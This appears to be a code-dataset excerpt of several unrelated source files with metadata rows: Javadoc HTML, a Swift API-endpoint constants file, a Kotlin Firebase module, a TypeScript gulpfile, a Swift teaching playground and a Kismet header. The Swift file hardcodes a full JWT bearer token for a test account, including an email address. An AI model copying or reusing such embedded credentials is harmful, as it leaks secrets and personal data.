<td class="colLast"><span class="typeNameLabel">DelayTest.</span><code><span class="memberNameLink"><a href="../../delays/DelayTest.html#ch4">ch4</a></span></code> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList"><a name="flux">
<!-- -->
</a>
<h3>Uses of <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a> in <a href="../../flux/package-summary.html">flux</a></h3>
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing fields, and an explanation">
<caption><span>Fields in <a href="../../flux/package-summary.html">flux</a> declared as <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">Chat.</span><code><span class="memberNameLink"><a href="../../flux/Chat.html#alice">alice</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">Chat.</span><code><span class="memberNameLink"><a href="../../flux/Chat.html#bob">bob</a></span></code> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList"><a name="primitives">
<!-- -->
</a>
<h3>Uses of <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a> in <a href="../../primitives/package-summary.html">primitives</a></h3>
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing fields, and an explanation">
<caption><span>Fields in <a href="../../primitives/package-summary.html">primitives</a> declared as <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>private <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">Query.QueryPlay.</span><code><span class="memberNameLink"><a href="../../primitives/Query.QueryPlay.html#client">client</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>private <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">Query.QueryPlay.</span><code><span class="memberNameLink"><a href="../../primitives/Query.QueryPlay.html#server">server</a></span></code> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList"><a name="timeout">
<!-- -->
</a>
<h3>Uses of <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a> in <a href="../../timeout/package-summary.html">timeout</a></h3>
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing fields, and an explanation">
<caption><span>Fields in <a href="../../timeout/package-summary.html">timeout</a> declared as <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>private <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">ExponentialBackoff.</span><code><span class="memberNameLink"><a href="../../timeout/ExponentialBackoff.html#alice">alice</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>private <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">ExponentialBackoff.</span><code><span class="memberNameLink"><a href="../../timeout/ExponentialBackoff.html#bob">bob</a></span></code> </td>
</tr>
</tbody>
</table>
</li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?dsl/class-use/Play.StatelessCharacter.html" target="_top">Frames</a></li>
<li><a href="Play.StatelessCharacter.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| 47.498099 | 248 | 0.670829 |
c7acd77caf406f75cbfb073a70476167367da20d
| 4,528 |
swift
|
Swift
|
ipad/Constants/AppRemoteAPIConst.swift
|
amichard/invasivesBC-mussels-iOS
|
9a48e43fe66ea7b18825238ceb77e18c019a90ea
|
[
"Apache-2.0"
] | null | null | null |
ipad/Constants/AppRemoteAPIConst.swift
|
amichard/invasivesBC-mussels-iOS
|
9a48e43fe66ea7b18825238ceb77e18c019a90ea
|
[
"Apache-2.0"
] | 12 |
2020-02-03T22:22:58.000Z
|
2022-01-06T16:57:11.000Z
|
ipad/Constants/AppRemoteAPIConst.swift
|
amichard/invasivesBC-mussels-iOS
|
9a48e43fe66ea7b18825238ceb77e18c019a90ea
|
[
"Apache-2.0"
] | 3 |
2020-07-17T17:32:38.000Z
|
2022-01-24T21:14:26.000Z
|
//
// AppRemoteAPIConst.swift
// FoodAnytime
//
// Created by Pushan Mitra on 21/09/18.
// Copyright © 2018 Pushan Mitra. All rights reserved.
//
import Foundation
/**
* Remote/Local URL
*/
let DEV_URL: String = "https://api-dev-invasivesbc.apps.silver.devops.gov.bc.ca/api"
let LOCAL_URL: String = "http://localhost:7070/api"
let TEST_URL: String = "https://api-test-invasivesbc.apps.silver.devops.gov.bc.ca/api"
let PROD_URL: String = "https://api-invasivesbc.apps.silver.devops.gov.bc.ca/api"
/**
* KeyCloak URL
*/
let KC_DEV_URL: String = "https://dev.oidc.gov.bc.ca"
let KC_TEST_URL: String = "https://test.oidc.gov.bc.ca"
let KC_PROD_URL: String = "https://oidc.gov.bc.ca"
enum RemoteEnv: String {
case local, dev, test, prod
var remoteURL: String {
switch self {
case .local:
return LOCAL_URL
case .dev:
return DEV_URL
case .test:
return TEST_URL
case .prod:
return PROD_URL
}
}
var keyCloakURL: String {
switch self {
case .local,.dev:
return KC_DEV_URL
case .test:
return KC_TEST_URL
case .prod:
return KC_PROD_URL
}
}
}
class RemoteURLManager {
var env: RemoteEnv = .dev
static var `default` = {
// Here We Can use Target Flag to customize
// Switch Env
return RemoteURLManager(.prod)
}()
init(_ env: RemoteEnv) {
self.env = env
}
var remoteURL: String {
return self.env.remoteURL
}
var keyCloakURL: URL {
return URL(string: self.env.keyCloakURL)!
}
}
/**
* Diffirent EndPoints
*/
enum EndPoints: String {
case none = ""
case workflow = "/mussels/workflow"
case watercraftAssessment = "/mussels/wra"
case waterBody = "/mussels/water-body"
case codes = "/mussels/codes"
case accessRequest = "/request-access"
case user = "/account/me"
case uploads = "/uploads/report-issue"
case majorCities = "/mussels/major-cities"
}
/**
* API
*/
struct APIURL {
static var baseURL: String = RemoteURLManager.default.remoteURL
static let wokrflow: String = {
return Self.baseURL + EndPoints.workflow.rawValue
}()
static let watercraftRiskAssessment: String = {
return Self.baseURL + EndPoints.watercraftAssessment.rawValue
}()
static let waterBody: String = {
return Self.baseURL + EndPoints.waterBody.rawValue
}()
static let majorCities: String = {
return Self.baseURL + EndPoints.majorCities.rawValue
}()
static let codes: String = {
return Self.baseURL + EndPoints.codes.rawValue
}()
static let assessRequest: String = {
return Self.baseURL + EndPoints.accessRequest.rawValue
}()
static let user: String = {
return Self.baseURL + EndPoints.user.rawValue
}()
static let uploads: String = {
return Self.baseURL + EndPoints.uploads.rawValue
}()
}
let TestToken: String = """
eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJRMFJ5N2UxUmhmRkxMTWFsS0trdmg4dGJqdTZyemJzNTliZVhLWUlzUkxvIn0.eyJqdGkiOiIzZDQxMDRlOC1lMjRiLTRlZDQtYmNjMS1kZjk5MjFiMDI0MWMiLCJleHAiOjE1ODE2MjA3MTYsIm5iZiI6MCwiaWF0IjoxNTgxNjIwNDE2LCJpc3MiOiJodHRwczovL3Nzby1kZXYucGF0aGZpbmRlci5nb3YuYmMuY2EvYXV0aC9yZWFsbXMvZGZtbGNnN3oiLCJhdWQiOiJhY2NvdW50Iiwic3ViIjoiOTMxZjYyNWItMjU3MS00NGQ0LWI5ZDEtOTM0ODgwNzQ4OGU4IiwidHlwIjoiQmVhcmVyIiwiYXpwIjoibHVjeSIsIm5vbmNlIjoiNGI3OGRmZTUtMTM1MS00NzNkLWE3OGMtMDdhMzAyNWY2MWMwIiwiYXV0aF90aW1lIjoxNTgxNjIwNDE1LCJzZXNzaW9uX3N0YXRlIjoiYTI5YzA3M2YtYTc5NS00NTIwLWI0ZDQtMTdmNDg2Y2Y3NDRlIiwiYWNyIjoiMSIsImFsbG93ZWQtb3JpZ2lucyI6WyIqIl0sInJlYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJvZmZsaW5lX2FjY2VzcyIsInVtYV9hdXRob3JpemF0aW9uIl19LCJyZXNvdXJjZV9hY2Nlc3MiOnsiYWNjb3VudCI6eyJyb2xlcyI6WyJtYW5hZ2UtYWNjb3VudCIsIm1hbmFnZS1hY2NvdW50LWxpbmtzIiwidmlldy1wcm9maWxlIl19fSwic2NvcGUiOiIiLCJuYW1lIjoiSW52YXNpdmUgU3BlY2llcyBUZXN0IDUiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpc3Rlc3Q1QGlkaXIiLCJnaXZlbl9uYW1lIjoiSW52YXNpdmUgU3BlY2llcyIsImZhbWlseV9uYW1lIjoiVGVzdCA1IiwiZW1haWwiOiJpc3Rlc3Q1QGdvdi5iYy5jYSJ9.Fb4NwpT49j9eapABbDuHpCIOnMJ4trBw3bC5Lkj8w8-igbGan-yyxUuNUXgcTGLKoGLSAamC4RgjhBmd9gJHua9UMf9W2w5c21SWs44cnFPQgaWGi6RJk_o8Nio7kuItaowi9JK-pylaFz6XIUDbN8OpnpfAZ-hLYRwIkkJxTUZIBuVEcrwYzx9-jdgg0tYpeFUBLRhXz0B8Nw2XyKeP3IyLZ30XbIddzyQK514uRQC80tHJ5zrvCwSVW6kyZ_3AB4ggE8tNwhSOzt0JW4MPVehgoiczs4n4oDibbFFSFI5Lvcxz7jcBQO3upNXGx7BLJWqUAHP9koKhOo54vZx_4w
"""
| 34.045113 | 1,423 | 0.730565 |
85954d9349d2a8a87c867b61615adf27eafab05a
| 6,254 |
js
|
JavaScript
|
aurelia-ts/gulpfile.js
|
cmichaelgraham/spike-aurelia-ts-port
|
808e1e6d5baa3e4da90c4795db90c7b36577eb4d
|
[
"MIT"
] | null | null | null |
aurelia-ts/gulpfile.js
|
cmichaelgraham/spike-aurelia-ts-port
|
808e1e6d5baa3e4da90c4795db90c7b36577eb4d
|
[
"MIT"
] | null | null | null |
aurelia-ts/gulpfile.js
|
cmichaelgraham/spike-aurelia-ts-port
|
808e1e6d5baa3e4da90c4795db90c7b36577eb4d
|
[
"MIT"
] | null | null | null |
var gulp = require('gulp');
var browserSync = require('browser-sync');
var runSequence = require('run-sequence');
var ts = require('gulp-typescript');
var merge = require('merge2');
gulp.task('build-ts', [
'build-ts-system',
'build-ts-amd',
'build-ts-commonjs',
'build-ts-es6'
], function() {});
gulp.task('build-ts-amd', function() {
var tsResult = gulp.src([
'./aurelia-dts/**/*.d.ts'
,'./animator-css/*.ts'
,'./app-contacts/*.ts'
,'./binding/*.ts'
,'./bootstrapper/*.ts'
,'./dependency-injection/*.ts'
,'./event-aggregator/*.ts'
,'./framework/*.ts'
,'./history/*.ts'
,'./history-browser/*.ts'
,'./html-template-element/*.ts'
,'./http-client/*.ts'
,'./loader/*.ts'
,'./loader-default/*.ts'
,'./logging/*.ts'
,'./metadata/*.ts'
,'./path/*.ts'
,'./router/*.ts'
,'./route-recognizer/*.ts'
,'./skeleton-navigation/*.ts'
,'./skeleton-plugin/*.ts'
,'./task-queue/*.ts'
,'./templating/*.ts'
,'./templating-binding/*.ts'
,'./templating-resources/*.ts'
,'./templating-router/*.ts'
,'./validation/**/*.ts'
],
{base: "."})// tsProject.src() // instead of gulp.src(...)
.pipe(ts({
//typescript: require('typescript'),
declarationFiles: false,
noExternalResolve: true,
target: "es5",
module: "amd",
emitDecoratorMetadata: true
}));
return tsResult.js.pipe(gulp.dest('../dist/amd'));
});
gulp.task('build-ts-es6', function() {
var tsResult = gulp.src([
'./aurelia-dts/**/*.d.ts'
,'./animator-css/*.ts'
,'./app-contacts/*.ts'
,'./binding/*.ts'
,'./bootstrapper/*.ts'
,'./dependency-injection/*.ts'
,'./event-aggregator/*.ts'
,'./framework/*.ts'
,'./history/*.ts'
,'./history-browser/*.ts'
,'./html-template-element/*.ts'
,'./http-client/*.ts'
,'./loader/*.ts'
,'./loader-default/*.ts'
,'./logging/*.ts'
,'./metadata/*.ts'
,'./path/*.ts'
,'./router/*.ts'
,'./route-recognizer/*.ts'
,'./skeleton-navigation/*.ts'
,'./skeleton-plugin/*.ts'
,'./task-queue/*.ts'
,'./templating/*.ts'
,'./templating-binding/*.ts'
,'./templating-resources/*.ts'
,'./templating-router/*.ts'
,'./validation/**/*.ts'
],
{base: "."})// tsProject.src() // instead of gulp.src(...)
.pipe(ts({
//typescript: require('typescript'),
declarationFiles: false,
noExternalResolve: true,
target: "es6",
module: "es6",
emitDecoratorMetadata: true
}));
return tsResult.js.pipe(gulp.dest('../dist/es6'));
});
gulp.task('build-ts-commonjs', function() {
var tsResult = gulp.src([
'./aurelia-dts/**/*.d.ts'
,'./animator-css/*.ts'
,'./app-contacts/*.ts'
,'./binding/*.ts'
,'./bootstrapper/*.ts'
,'./dependency-injection/*.ts'
,'./event-aggregator/*.ts'
,'./framework/*.ts'
,'./history/*.ts'
,'./history-browser/*.ts'
,'./html-template-element/*.ts'
,'./http-client/*.ts'
,'./loader/*.ts'
,'./loader-default/*.ts'
,'./logging/*.ts'
,'./metadata/*.ts'
,'./path/*.ts'
,'./router/*.ts'
,'./route-recognizer/*.ts'
,'./skeleton-navigation/*.ts'
,'./skeleton-plugin/*.ts'
,'./task-queue/*.ts'
,'./templating/*.ts'
,'./templating-binding/*.ts'
,'./templating-resources/*.ts'
,'./templating-router/*.ts'
,'./validation/**/*.ts'
],
{base: "."})// tsProject.src() // instead of gulp.src(...)
.pipe(ts({
//typescript: require('typescript'),
declarationFiles: false,
noExternalResolve: true,
target: "es5",
module: "commonjs",
emitDecoratorMetadata: true
}));
return tsResult.js.pipe(gulp.dest('../dist/commonjs'));
});
gulp.task('build-ts-system', function () {
var tsResult = gulp.src([
'./aurelia-dts/**/*.d.ts'
,'./animator-css/*.ts'
,'./app-contacts/*.ts'
,'./binding/*.ts'
,'./bootstrapper/*.ts'
,'./dependency-injection/*.ts'
,'./event-aggregator/*.ts'
,'./framework/*.ts'
,'./history/*.ts'
,'./history-browser/*.ts'
,'./html-template-element/*.ts'
,'./http-client/*.ts'
,'./loader/*.ts'
,'./loader-default/*.ts'
,'./logging/*.ts'
,'./metadata/*.ts'
,'./path/*.ts'
,'./router/*.ts'
,'./route-recognizer/*.ts'
,'./skeleton-navigation/*.ts'
,'./skeleton-plugin/*.ts'
,'./task-queue/*.ts'
,'./templating/*.ts'
,'./templating-binding/*.ts'
,'./templating-resources/*.ts'
,'./templating-router/*.ts'
,'./validation/**/*.ts'
],
{base: "."})// tsProject.src() // instead of gulp.src(...)
.pipe(ts({
//typescript: require('typescript'),
declarationFiles: false,
noExternalResolve: true,
target: "es5",
module: "system",
emitDecoratorMetadata: true
}));
return tsResult.js.pipe(gulp.dest('../dist/system'));
});
var path = {
sourceTS: "views/**/*.ts",
html: "views/**/*.html",
style: "styles/**/*.css"
}
gulp.task('serve', ['build-ts'], function(done) {
browserSync({
open: false,
port: 9000,
server: {
baseDir: ['.'],
middleware: function (req, res, next) {
res.setHeader('Access-Control-Allow-Origin', '*');
next();
}
}
}, done);
});
function reportChange(event){
console.log('File ' + event.path + ' was ' + event.type + ', running tasks...');
}
gulp.task('watch', ['serve'], function() {
gulp.watch(path.sourceTS, ['build-ts', browserSync.reload]).on('change', reportChange);
gulp.watch(path.html, [browserSync.reload]).on('change', reportChange);
gulp.watch(path.style, [browserSync.reload]).on('change', reportChange);
});
| 29.088372 | 89 | 0.494084 |
95f85e309b17e988c7d7af2b3e5aad52f76328b6
| 2,687 |
kt
|
Kotlin
|
data/src/main/java/pl/kamilszustak/read/data/di/module/DatabaseModule.kt
|
swistak7171/read
|
70d7be58042410bdb969035413b726126426e3d3
|
[
"Apache-2.0"
] | 1 |
2022-01-08T12:38:20.000Z
|
2022-01-08T12:38:20.000Z
|
data/src/main/java/pl/kamilszustak/read/data/di/module/DatabaseModule.kt
|
swistak7171/read
|
70d7be58042410bdb969035413b726126426e3d3
|
[
"Apache-2.0"
] | 39 |
2020-08-23T18:01:09.000Z
|
2021-04-21T19:18:06.000Z
|
data/src/main/java/pl/kamilszustak/read/data/di/module/DatabaseModule.kt
|
swistak7171/read
|
70d7be58042410bdb969035413b726126426e3d3
|
[
"Apache-2.0"
] | null | null | null |
package pl.kamilszustak.read.data.di.module
import com.google.firebase.auth.ktx.auth
import com.google.firebase.database.DatabaseReference
import com.google.firebase.database.ktx.database
import com.google.firebase.ktx.Firebase
import dagger.Module
import dagger.Provides
import pl.kamilszustak.read.data.di.qualifier.*
import pl.kamilszustak.read.model.entity.BookEntity
import pl.kamilszustak.read.model.entity.DatabaseCollection
import pl.kamilszustak.read.model.entity.LogEntryEntity
import pl.kamilszustak.read.model.entity.QuoteEntity
import pl.kamilszustak.read.model.entity.goal.ReadingGoalEntity
import javax.inject.Singleton
@Module
class DatabaseModule {
private val userId: String by lazy {
Firebase.auth.currentUser?.uid ?: throw IllegalStateException("User is not signed in")
}
private fun createUserDatabaseCollection(
databaseReference: DatabaseReference,
collectionName: String,
userIdProperty: String
): DatabaseCollection {
val query = databaseReference.child(collectionName)
.orderByChild(userIdProperty)
.equalTo(userId)
.apply {
keepSynced(true)
}
return DatabaseCollection(
name = collectionName,
reference = query.ref,
query = query
)
}
@Provides
@Singleton
@RootDatabaseReference
fun provideDatabaseReference(): DatabaseReference {
val database = Firebase.database.apply {
setPersistenceEnabled(true)
}
return database.reference
}
@Provides
@Singleton
@BookCollection
fun provideBookCollection(@RootDatabaseReference reference: DatabaseReference): DatabaseCollection =
createUserDatabaseCollection(reference, BookEntity.COLLECTION_NAME, BookEntity.USER_ID_PROPERTY)
@Provides
@Singleton
@QuoteCollection
fun provideQuoteCollection(@RootDatabaseReference reference: DatabaseReference): DatabaseCollection =
createUserDatabaseCollection(reference, QuoteEntity.COLLECTION_NAME, QuoteEntity.USER_ID_PROPERTY)
@Provides
@Singleton
@ReadingLogCollection
fun provideReadingLogCollection(@RootDatabaseReference reference: DatabaseReference): DatabaseCollection =
createUserDatabaseCollection(reference, LogEntryEntity.COLLECTION_NAME, LogEntryEntity.USER_ID_PROPERTY)
@Provides
@Singleton
@ReadingGoalCollection
fun provideReadingGoalCollection(@RootDatabaseReference reference: DatabaseReference): DatabaseCollection =
createUserDatabaseCollection(reference, ReadingGoalEntity.COLLECTION_NAME, ReadingGoalEntity.USER_ID_PROPERTY)
}
| 35.355263 | 118 | 0.750279 |
2d03c69c97e9cb29f49b1199a7520919397488b1
| 1,083 |
swift
|
Swift
|
swift starters/SwiftStarter.playground/Pages/My Level 3.xcplaygroundpage/Contents.swift
|
kcastellano/ARStarter
|
4c8d359c13a367c29b9fbd9cc464744ebdf5547b
|
[
"MIT"
] | null | null | null |
swift starters/SwiftStarter.playground/Pages/My Level 3.xcplaygroundpage/Contents.swift
|
kcastellano/ARStarter
|
4c8d359c13a367c29b9fbd9cc464744ebdf5547b
|
[
"MIT"
] | null | null | null |
swift starters/SwiftStarter.playground/Pages/My Level 3.xcplaygroundpage/Contents.swift
|
kcastellano/ARStarter
|
4c8d359c13a367c29b9fbd9cc464744ebdf5547b
|
[
"MIT"
] | null | null | null |
import Foundation
/*:
# Level 3 - The Real-Pro
Wie wird nun Code zusammgefasst und schlau wiederverwendet? Und wie kann man bestehenden Code nach eigenen Bedürfnissen erweitern?
All das lernen wir nun hier mit Funktionen, Klassen, Strukturen und Extensions
* callout(Level 3 - The Real Pro):
- A. Vererbung
- B. Klassen und Structs
- C. Extensions
Dann lasst uns loslegen und keine Zeit mehr verlieren :)
*/
/*
A. Vererbung
... ist das Konzept der kontextuellen Erweiterung von Daten um Felder, Funktionen und Logiken.
Zu abstrakt? Dann kommt hier gleich mal ein Beispiel zur Klärung :D
*/
/*
B. Klassen und Structs
Sieht nahezu gleich aus, ist es aber nicht. Structs erlauben keine Vererbung, können jedoch durch Protokolle und Extensions erweitert werden.
MERKE: IdR reichen Structs, um zusammenhängende Informationen zu beschreiben
*/
/*
C. Extensions
Um etwaige bestehende Funktionalität einer Klasse oder eines Structs zu erweitern, kann man dafür Extensions nutzen. Diese sind auch praktisch, um iOS eigene Objekte zu erweitern.
*/
| 24.066667 | 180 | 0.755309 |
38c9bfdf5a4894522fb4dbb8247531b8a138df96
| 425 |
sql
|
SQL
|
ware12-security-auth/src/main/resources/security.sql
|
folago7/abe718
|
783779e2b40ef0e48b4ce68d7d2ce67913bb6149
|
[
"Apache-2.0"
] | null | null | null |
ware12-security-auth/src/main/resources/security.sql
|
folago7/abe718
|
783779e2b40ef0e48b4ce68d7d2ce67913bb6149
|
[
"Apache-2.0"
] | null | null | null |
ware12-security-auth/src/main/resources/security.sql
|
folago7/abe718
|
783779e2b40ef0e48b4ce68d7d2ce67913bb6149
|
[
"Apache-2.0"
] | 1 |
2022-03-21T03:42:25.000Z
|
2022-03-21T03:42:25.000Z
|
CREATE TABLE `user_role` (
`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键ID',
`user_name` varchar(30) DEFAULT NULL,
`user_role` varchar(50) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户权限表';
INSERT INTO `user_role` (`id`, `user_name`, `user_role`) VALUES ('1', 'root', 'ROLE_LEVEL1');
INSERT INTO `user_role` (`id`, `user_name`, `user_role`) VALUES ('2', 'root', 'ROLE_LEVEL2');
| 47.222222 | 93 | 0.689412 |
5224233c0f4a3b50609b5292d30d3db5f260134b
| 3,151 |
lua
|
Lua
|
vendor/RainbowRepacker/tool/engine_android(5)/assets/scripts/qnFiles/qnPlist/games/animSlippers_pin2.lua
|
huangtao/cloud-test
|
8087b1337d47daab9eb39335ca6e286df0e4b4dc
|
[
"Apache-2.0"
] | 1 |
2018-09-12T15:43:32.000Z
|
2018-09-12T15:43:32.000Z
|
vendor/RainbowRepacker/tool/engine_android(5)/assets/scripts/qnFiles/qnPlist/games/animSlippers_pin2.lua
|
huangtao/cloud-test
|
8087b1337d47daab9eb39335ca6e286df0e4b4dc
|
[
"Apache-2.0"
] | null | null | null |
vendor/RainbowRepacker/tool/engine_android(5)/assets/scripts/qnFiles/qnPlist/games/animSlippers_pin2.lua
|
huangtao/cloud-test
|
8087b1337d47daab9eb39335ca6e286df0e4b4dc
|
[
"Apache-2.0"
] | 3 |
2018-09-12T15:43:33.000Z
|
2019-07-10T09:50:15.000Z
|
local path = "games/common/animation/animSlippers_pin.png"
local animSlippers_pin2_map = {
["slippers_r_15.png"] = {
file=path,
x=2,y=2,
width=204,height=194,
rotated=true
},
["slippers_l_12.png"] = {
file=path,
x=208,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_8.png"] = {
file=path,
x=2,y=198,
width=204,height=194,
rotated=true
},
["slippers_l_15.png"] = {
file=path,
x=208,y=198,
width=204,height=194,
rotated=true
},
["slippers_l_5.png"] = {
file=path,
x=414,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_14.png"] = {
file=path,
x=620,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_1.png"] = {
file=path,
x=826,y=2,
width=194,height=204,
rotated=false
},
["slippers_r_11.png"] = {
file=path,
x=414,y=198,
width=204,height=194,
rotated=true
},
["slippers_l_2.png"] = {
file=path,
x=620,y=198,
width=204,height=194,
rotated=true
},
["slippers_l_1.png"] = {
file=path,
x=826,y=208,
width=194,height=204,
rotated=false
},
["slippers_r_10.png"] = {
file=path,
x=2,y=394,
width=204,height=194,
rotated=true
},
["slippers_l_10.png"] = {
file=path,
x=208,y=394,
width=204,height=194,
rotated=true
},
["slippers_r_5.png"] = {
file=path,
x=414,y=394,
width=204,height=194,
rotated=true
},
["slippers_r_7.png"] = {
file=path,
x=620,y=394,
width=204,height=194,
rotated=true
},
["slippers_l_3.png"] = {
file=path,
x=826,y=414,
width=194,height=204,
rotated=false
},
["slippers_l_8.png"] = {
file=path,
x=2,y=590,
width=204,height=194,
rotated=true
},
["slippers_r_6.png"] = {
file=path,
x=208,y=590,
width=204,height=194,
rotated=true
},
["slippers_r_13.png"] = {
file=path,
x=414,y=590,
width=204,height=194,
rotated=true
},
["slippers_l_11.png"] = {
file=path,
x=620,y=590,
width=204,height=194,
rotated=true
},
["slippers_l_4.png"] = {
file=path,
x=826,y=620,
width=194,height=204,
rotated=false
},
["slippers_l_13.png"] = {
file=path,
x=2,y=786,
width=204,height=194,
rotated=true
},
["slippers_r_3.png"] = {
file=path,
x=208,y=786,
width=204,height=194,
rotated=true
},
["slippers_l_6.png"] = {
file=path,
x=414,y=786,
width=204,height=194,
rotated=true
},
["slippers_r_12.png"] = {
file=path,
x=620,y=786,
width=204,height=194,
rotated=true
},
["slippers_l_9.png"] = {
file=path,
x=1022,y=2,
width=204,height=194,
rotated=true
},
["slippers_l_7.png"] = {
file=path,
x=1228,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_9.png"] = {
file=path,
x=1434,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_4.png"] = {
file=path,
x=1640,y=2,
width=204,height=194,
rotated=true
},
["slippers_r_2.png"] = {
file=path,
x=1846,y=2,
width=194,height=204,
rotated=false
},
["slippers_l_14.png"] = {
file=path,
x=1022,y=198,
width=204,height=194,
rotated=true
},
["slippers.png"] = {
file=path,
x=1228,y=198,
width=135,height=113,
rotated=false
},
}
return animSlippers_pin2_map
| 16.497382 | 58 | 0.609648 |
3e9bb746a437ec76873710706e57953979c85e22
| 5,218 |
h
|
C
|
master/kismet-2018-08-BETA1/kismet-2018-08-BETA1/legacy_code/legacy_client/kis_clinetframe.h
|
AlexRogalskiy/DevArtifacts
|
931aabb8cbf27656151c54856eb2ea7d1153203a
|
[
"MIT"
] | 4 |
2018-09-07T15:35:24.000Z
|
2019-03-27T09:48:12.000Z
|
master/kismet-2018-08-BETA1/kismet-2018-08-BETA1/legacy_code/legacy_client/kis_clinetframe.h
|
AlexRogalskiy/DevArtifacts
|
931aabb8cbf27656151c54856eb2ea7d1153203a
|
[
"MIT"
] | 371 |
2020-03-04T21:51:56.000Z
|
2022-03-31T20:59:11.000Z
|
master/kismet-2018-08-BETA1/kismet-2018-08-BETA1/legacy_code/legacy_client/kis_clinetframe.h
|
AlexRogalskiy/DevArtifacts
|
931aabb8cbf27656151c54856eb2ea7d1153203a
|
[
"MIT"
] | 3 |
2019-06-18T19:57:17.000Z
|
2020-11-06T03:55:08.000Z
|
/*
This file is part of Kismet
Kismet is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Kismet is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Kismet; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __KISCLINETFRAME_H__
#define __KISCLINETFRAME_H__
#include "config.h"
#include "util.h"
#include "messagebus.h"
#include "clinetframework.h"
#include "tcpclient.h"
class KisNetClient;
#define CLIPROTO_CB_PARMS GlobalRegistry *globalreg, string proto_string, \
vector<smart_word_token> *proto_parsed, KisNetClient *srccli, void *auxptr
typedef void (*CliProto_Callback)(CLIPROTO_CB_PARMS);
#define CLICONF_CB_PARMS GlobalRegistry *globalreg, KisNetClient *kcli, \
int recon, void *auxptr
typedef void (*CliConf_Callback)(CLICONF_CB_PARMS);
#define CLICMD_CB_PARMS GlobalRegistry *globalreg, KisNetClient *kcli, \
int valid, string response, void *auxptr
typedef void (*CliCmd_Callback)(CLICMD_CB_PARMS);
class KisNetClient : public ClientFramework {
